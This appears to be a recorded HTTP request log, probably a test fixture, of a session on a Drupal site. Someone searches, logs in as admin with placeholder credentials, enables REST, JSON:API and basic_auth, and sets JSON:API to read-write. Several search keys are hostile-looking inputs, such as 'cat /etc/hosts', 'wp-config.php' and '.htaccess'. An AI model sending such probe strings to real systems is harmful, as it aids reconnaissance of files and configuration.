{"method": "GET", "target": "/search/node?keys=hello%20world", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
|
||||
{"method": "GET", "target": "/search/node?keys=python3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
|
||||
{"method": "GET", "target": "/search/node?keys=powershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
|
||||
{"method": "GET", "target": "/search/node?keys=ls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
|
||||
{"method": "GET", "target": "/search/node?keys=.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
|
||||
{"method": "GET", "target": "/search/node?keys=wp-config.php", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
|
||||
{"method": "GET", "target": "/search/node?keys=docker-compose.yml", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
|
||||
{"method": "GET", "target": "/search/node?keys=cat%20%2Fetc%2Fhosts", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
|
||||
{"method": "GET", "target": "/search/node?keys=SELECT%20rows%20FROM%20table", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
|
||||
{"method": "POST", "target": "/user/login", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/login"], "body": "name=admin&pass=example-password-1&form_build_id=form-66TNlUp8tQI0lgPvIXpN9McAK6NI-RbJZJy3xQUipSQ&form_id=user_login_form&op=Log+in"}
|
||||
{"method": "GET", "target": "/user/1?check_logged_in=1", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/login", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/core/assets/vendor/jquery/jquery.min.js?v=4.0.0", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/user/1?check_logged_in=1", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/core/assets/vendor/htmx/htmx.min.js?v=2.0.4", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/user/1?check_logged_in=1", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/sites/default/files/js/js_LNOTk1lFh5UgLuvg2TMtESHrajbvYlKejbiPYedl_nM.js?scope=header&delta=0&language=en&theme=olivero&include=eJxFi1EKgCAQBS9keaRYbZFHsoqu0vFbovDvMTMvIB0VlX34hotFlG8dlP3ZRqW8L7JlyNUtafxLiorJr3BCE4kURTzs0sT8Yg_UBCny", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/user/1?check_logged_in=1", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/sites/default/files/css/css_qhwQ8jvh5-NzL8fRjdtXDUU3Co41JbElOhNplEhbA0U.css?delta=0&language=en&theme=olivero&include=eJx9zUEOxCAIheELaT0TWtKQIhjBdnr7cTZ1N9sPXv6i4vjxAZz2PhrwVl6JTHJaKNoxFa1NBcVtE7joACeVGJ2c8f-HKmfoMQ93lbBOiWanyywuC8p0YdfEWmYfyg_t1YpmcOCCpjd23GN-Yp6TM9hjjjVlMPwCqYxVTQ", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/user/1?check_logged_in=1", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/sites/default/files/css/css_oc7ElP8_y3MBtFrEyAhgHKJSA-SMDBidNXaZSY7_mDc.css?delta=1&language=en&theme=olivero&include=eJx9zUEOxCAIheELaT0TWtKQIhjBdnr7cTZ1N9sPXv6i4vjxAZz2PhrwVl6JTHJaKNoxFa1NBcVtE7joACeVGJ2c8f-HKmfoMQ93lbBOiWanyywuC8p0YdfEWmYfyg_t1YpmcOCCpjd23GN-Yp6TM9hjjjVlMPwCqYxVTQ", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/user/1?check_logged_in=1", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/sites/default/files/js/js_Rj8FErIgCRmm_fqnNH-MBKqak3Tzzlv2cmHnva1IUDE.js?scope=footer&delta=1&language=en&theme=olivero&include=eJxFi1EKgCAQBS9keaRYbZFHsoqu0vFbovDvMTMvIB0VlX34hotFlG8dlP3ZRqW8L7JlyNUtafxLiorJr3BCE4kURTzs0sT8Yg_UBCny", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/user/1?check_logged_in=1", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/sites/default/files/js/js_GwAx9-XxvwjT99hmLVXFfHhAt3uBqjr-skP9WQDCcoM.js?scope=footer&delta=3&language=en&theme=olivero&include=eJxFi1EKgCAQBS9keaRYbZFHsoqu0vFbovDvMTMvIB0VlX34hotFlG8dlP3ZRqW8L7JlyNUtafxLiorJr3BCE4kURTzs0sT8Yg_UBCny", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/user/1?check_logged_in=1", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/sites/default/files/css/css_3uG4RM-Em2VD212gfyh-PIM42Pr7XCSwv3TXIbnBX9A.css?delta=0&language=en&theme=olivero&include=eJzLz8ksSy3K189LLMtMTyzJzM_TLSjKzE0sqgQAjl4KkQ&exclude=eJx9jVEOgzAMQy_U0iNNaYlQRYirNmXj9oNNwB9_T_aTnaDGH-skYay9kAzpSrxknZtrWzNeQqTGLqHyKVKyvPJPcpAdK0LBmyuPPm4-CtLsYp5eJRcOJ1zqXu8Xxwi0_YcTlgJltTYorXmio_PeAIlUfexm0Gc1m7C7k3DjILSh2xdIDF3F", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/user/1?check_logged_in=1", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/sites/default/files/css/css_JYK8tPdiju1DBZ5kGKcUua-GioSL5qptDKhEKxqe4cM.css?delta=0&language=en&theme=olivero&include=eJzLz8ksSy3K189LLMtMTyzJzM_TLU5Nzs9LSSyqBACkMwtV&exclude=eJx9jkEOwyAMBD8E4UmVIVZkxbERmLT8vrSNkpx6W61nNY60PDJlDPEILqkYvqwBh7m0DDxdjWeStQ6kYEi6ZRUUq5PATgsYqXhvZIz_CVWOUHxsZio_9DBBMtrxa3HXJFxxYujazCkPrmhgTeOrz0ylnu3NlgttUPp5yvrEgrOP3ccxXl3t1XALESq-Afi0aIE", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/user/1?check_logged_in=1", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "POST", "target": "/contextual/render?theme=olivero", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded;charset=UTF-8", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/user/1?check_logged_in=1", "Cookie: SESSexample=example-session-value"], "body": "ids%5B%5D=block%3Ablock%3Dolivero_breadcrumbs%3Alangcode%3Den&tokens%5B%5D=DupSXj2bNdZYw9OEb6f4T6BX3qXPnA1znFW4miVijJU"}
|
||||
{"method": "POST", "target": "/contextual/render?theme=olivero", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded;charset=UTF-8", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/user/1?check_logged_in=1", "Cookie: SESSexample=example-session-value"], "body": "ids%5B%5D=block%3Ablock%3Dolivero_site_branding%3Alangcode%3Den&ids%5B%5D=block%3Ablock%3Dolivero_page_title%3Alangcode%3Den&ids%5B%5D=block%3Ablock%3Dolivero_powered%3Alangcode%3Den&tokens%5B%5D=1rv_5u0s4iGV_AWmQmPdRm4CsxIu8wsjE8sFkt9yGF4&tokens%5B%5D=pGkK5C6k5HhOIlpSVObsmKdf5DVWqjhEzJfvUSZdanw&tokens%5B%5D=jmjvcBoCtAymF3-B_C5BHjXRBqYcwKstu9qZq-rxCDw"}
|
||||
{"method": "POST", "target": "/contextual/render?theme=olivero", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded;charset=UTF-8", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/user/1?check_logged_in=1", "Cookie: SESSexample=example-session-value"], "body": "ids%5B%5D=block%3Ablock%3Dolivero_account_menu%3Alangcode%3Den%7Cmenu%3Amenu%3Daccount%3Alangcode%3Den&tokens%5B%5D=henkHDCYz37bUB9MGiVxhW9dClN1HHpXLkE9blnvU8I"}
|
||||
{"method": "GET", "target": "/sites/default/files/js/js_5hB-Wy2Hxb85RQLTESYetivjeaSJY2GQ6oXCxZeNfeA.js?scope=footer&delta=0&language=en&theme=olivero&include=eJzLz8ksSy3K189LLMtMTyzJzM_TLSjKzE0sqgQAjl4KkQ&exclude=eJx9jVEOgzAMQy_U0iNNaYlQRYirNmXj9oNNwB9_T_aTnaDGH-skYay9kAzpSrxknZtrWzNeQqTGLqHyKVKyvPJPcpAdK0LBmyuPPm4-CtLsYp5eJRcOJ1zqXu8Xxwi0_YcTlgJltTYorXmio_PeAIlUfexm0Gc1m7C7k3DjILSh2xdIDF3F", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/user/1?check_logged_in=1", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "POST", "target": "/contextual/render?theme=olivero", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded;charset=UTF-8", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/user/1?check_logged_in=1", "Cookie: SESSexample=example-session-value"], "body": "ids%5B%5D=block%3Ablock%3Dolivero_main_menu%3Alangcode%3Den%7Cmenu%3Amenu%3Dmain%3Alangcode%3Den&tokens%5B%5D=8Gi0ikQVIh2gC601Y5UBe2vi21hWy8qqpz--u2aRwZU"}
|
||||
{"method": "GET", "target": "/admin/modules", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/sites/default/files/js/js_LNOTk1lFh5UgLuvg2TMtESHrajbvYlKejbiPYedl_nM.js?scope=header&delta=0&language=en&theme=claro&include=eJxVjkEOwzAIBD_kJG-iDopQMViAo_b3dZtakY_MALuZwXTbrVXgVeBcAh6eskrgKxrwUDdZmOT5XTEcEnLQiT8x8azMUB0nWNAdjpn1UEZDryreP6VehA4IUtmo55pc5f4s-dsDyzi-prXo3hj9Azu2UZU", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/admin/modules", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/sites/default/files/css/css_V22smjChlNYtGFhubSnrJiBbIXxpjPF7r7uLdgFcWYg.css?delta=0&language=en&theme=claro&include=eJxVjlEKAzEIBS-0bs5kshKkRoMxpe3pG9hC6O84b7AIuqUqllFgxFtY61FMg14xUdLls6Ocm8AyHmMpTqlY66akMU7FJ1cMNgUIM8nokGeE6a3-OhzUVmHEH3UaFIC9Ezpqofuo5g2FP3TseOL1h-vabPYFJPxMGw", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/admin/modules", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/sites/default/files/css/css_5uXlz2e2qK3icTms7ZW2kFOaDl2e9vq8lXYWMY0zmJw.css?delta=1&language=en&theme=claro&include=eJxVjlEKAzEIBS-0bs5kshKkRoMxpe3pG9hC6O84b7AIuqUqllFgxFtY61FMg14xUdLls6Ocm8AyHmMpTqlY66akMU7FJ1cMNgUIM8nokGeE6a3-OhzUVmHEH3UaFIC9Ezpqofuo5g2FP3TseOL1h-vabPYFJPxMGw", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/admin/modules", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/sites/default/files/js/js_Yfs9-4VfSKB714k1kHFtY4JRa_hGedSW2uxnik6dlsA.js?scope=footer&delta=1&language=en&theme=claro&include=eJxVjkEOwzAIBD_kJG-iDopQMViAo_b3dZtakY_MALuZwXTbrVXgVeBcAh6eskrgKxrwUDdZmOT5XTEcEnLQiT8x8azMUB0nWNAdjpn1UEZDryreP6VehA4IUtmo55pc5f4s-dsDyzi-prXo3hj9Azu2UZU", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/admin/modules", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "POST", "target": "/admin/modules", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/modules", "Cookie: SESSexample=example-session-value"], "body": "text=&modules%5Bmedia%5D%5Benable%5D=1&modules%5Bmedia_library%5D%5Benable%5D=1&modules%5Bbasic_auth%5D%5Benable%5D=1&modules%5Bjsonapi%5D%5Benable%5D=1&modules%5Brest%5D%5Benable%5D=1&form_build_id=form-rTmWsVrCT6WepF1-_TDWkfTkaaNLlMY8wxMtnsYWGvo&form_token=YAgSiY0E1e9HGDw2HnSiS67ixWkvvnJtCDwS6VQFU-Y&form_id=system_modules&op=Install"}
|
||||
{"method": "GET", "target": "/admin/modules/list/confirm", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/modules", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/sites/default/files/js/js_LNOTk1lFh5UgLuvg2TMtESHrajbvYlKejbiPYedl_nM.js?scope=header&delta=0&language=en&theme=claro&include=eJxFi1EKgCAQBS9keaRYbZFHsoqu0vFbovDvMTMvIB0VlX34hotFlG8dlP3ZRqW8L7JlyNUtafxLiorJr3BCE4kURTzs0sT8Yg_UBCny", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/admin/modules/list/confirm", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/sites/default/files/js/js_Rj8FErIgCRmm_fqnNH-MBKqak3Tzzlv2cmHnva1IUDE.js?scope=footer&delta=1&language=en&theme=claro&include=eJxFi1EKgCAQBS9keaRYbZFHsoqu0vFbovDvMTMvIB0VlX34hotFlG8dlP3ZRqW8L7JlyNUtafxLiorJr3BCE4kURTzs0sT8Yg_UBCny", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/admin/modules/list/confirm", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/sites/default/files/css/css_5uXlz2e2qK3icTms7ZW2kFOaDl2e9vq8lXYWMY0zmJw.css?delta=1&language=en&theme=claro&include=eJxFjVEKAzEIBS-0bs5kUglSo4sxpe3pK2whv8O8eU3QrXSxigIzPsLaj2Ya9I6FUh6-LpRzE0jjOVNxKs3GZUoa81R8ccdgU4Awk4oOdUWY3uq_w0EjCzNuquYDhb907H3hvHJNebMfMydBAQ", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/admin/modules/list/confirm", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/sites/default/files/css/css_dwzS5I9OMr00BcXlUn2t2KsKkO9EWWCZE6LZ1FmemH0.css?delta=0&language=en&theme=claro&include=eJxFjVEKAzEIBS-0bs5kUglSo4sxpe3pK2whv8O8eU3QrXSxigIzPsLaj2Ya9I6FUh6-LpRzE0jjOVNxKs3GZUoa81R8ccdgU4Awk4oOdUWY3uq_w0EjCzNuquYDhb907H3hvHJNebMfMydBAQ", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/admin/modules/list/confirm", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/sites/default/files/js/js_vwLE_CZTWTR3i1176WdafZPd0GuZTOaM96RTRN5CTp0.js?scope=footer&delta=3&language=en&theme=claro&include=eJxFi1EKgCAQBS9keaRYbZFHsoqu0vFbovDvMTMvIB0VlX34hotFlG8dlP3ZRqW8L7JlyNUtafxLiorJr3BCE4kURTzs0sT8Yg_UBCny", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/admin/modules/list/confirm", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "POST", "target": "/admin/modules/list/confirm", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/modules/list/confirm", "Cookie: SESSexample=example-session-value"], "body": "confirm=1&form_build_id=form-g3r5ZjoUbNVxAXsFI-wm70qV7waoi0wi6zuZPBDsUrU&form_token=gkxg1871lXWQF8ZemxwSn2XUPNst5Hpx-KNLlJwJ5DU&form_id=system_modules_confirm_form&op=Continue"}
|
||||
{"method": "GET", "target": "/admin/config/services/jsonapi", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/sites/default/files/css/css_2XXM5MZ_MIzS5taV4QGJgA5WOMfNbkQyy93p1WQyRNI.css?delta=0&language=en&theme=claro&include=eJxFzFEKxCAMRdENNXVN0YqEpnklxjLT1Y8wH_5eDrcoO1JTZFbq8VWxthVY1E8M1nT4uFn3VWiKs0_iNRVcN6xa9N34kcYhMKIANLNTHhGwPzX4xSpv3ZZMMqduc7_aDwZeOK8", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/admin/config/services/jsonapi", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/sites/default/files/css/css_VrhKC7-kxWGUIEsCT4AAFSWF6Z4UJH3OTQdHX4_R8pM.css?delta=1&language=en&theme=claro&include=eJxFzFEKxCAMRdENNXVN0YqEpnklxjLT1Y8wH_5eDrcoO1JTZFbq8VWxthVY1E8M1nT4uFn3VWiKs0_iNRVcN6xa9N34kcYhMKIANLNTHhGwPzX4xSpv3ZZMMqduc7_aDwZeOK8", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/admin/config/services/jsonapi", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "POST", "target": "/admin/config/services/jsonapi", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/config/services/jsonapi", "Cookie: SESSexample=example-session-value"], "body": "read_only=rw&form_build_id=form-WZnlHr3p1LhSxN6dPUx293-ltyG4QtYSRksVbr20Mzg&form_token=3lcJI3eAzFu8-0sfi7vAMI3eU2V91VUFYTwTcOLf7l8&form_id=jsonapi_settings&op=Save+configuration"}
|
||||
{"method": "GET", "target": "/sites/default/files/js/js_LNOTk1lFh5UgLuvg2TMtESHrajbvYlKejbiPYedl_nM.js?scope=header&delta=0&language=en&theme=claro&include=eJxVzGEKgDAIQOELrXYmMRmSuaFudPxGUNHf98HDqkFndJC8WW8gK75lEdbdE1ajBwGDB93w6we5Q6GkMLhAcNXMc2M67WsXMjYquA", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/admin/config/services/jsonapi", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
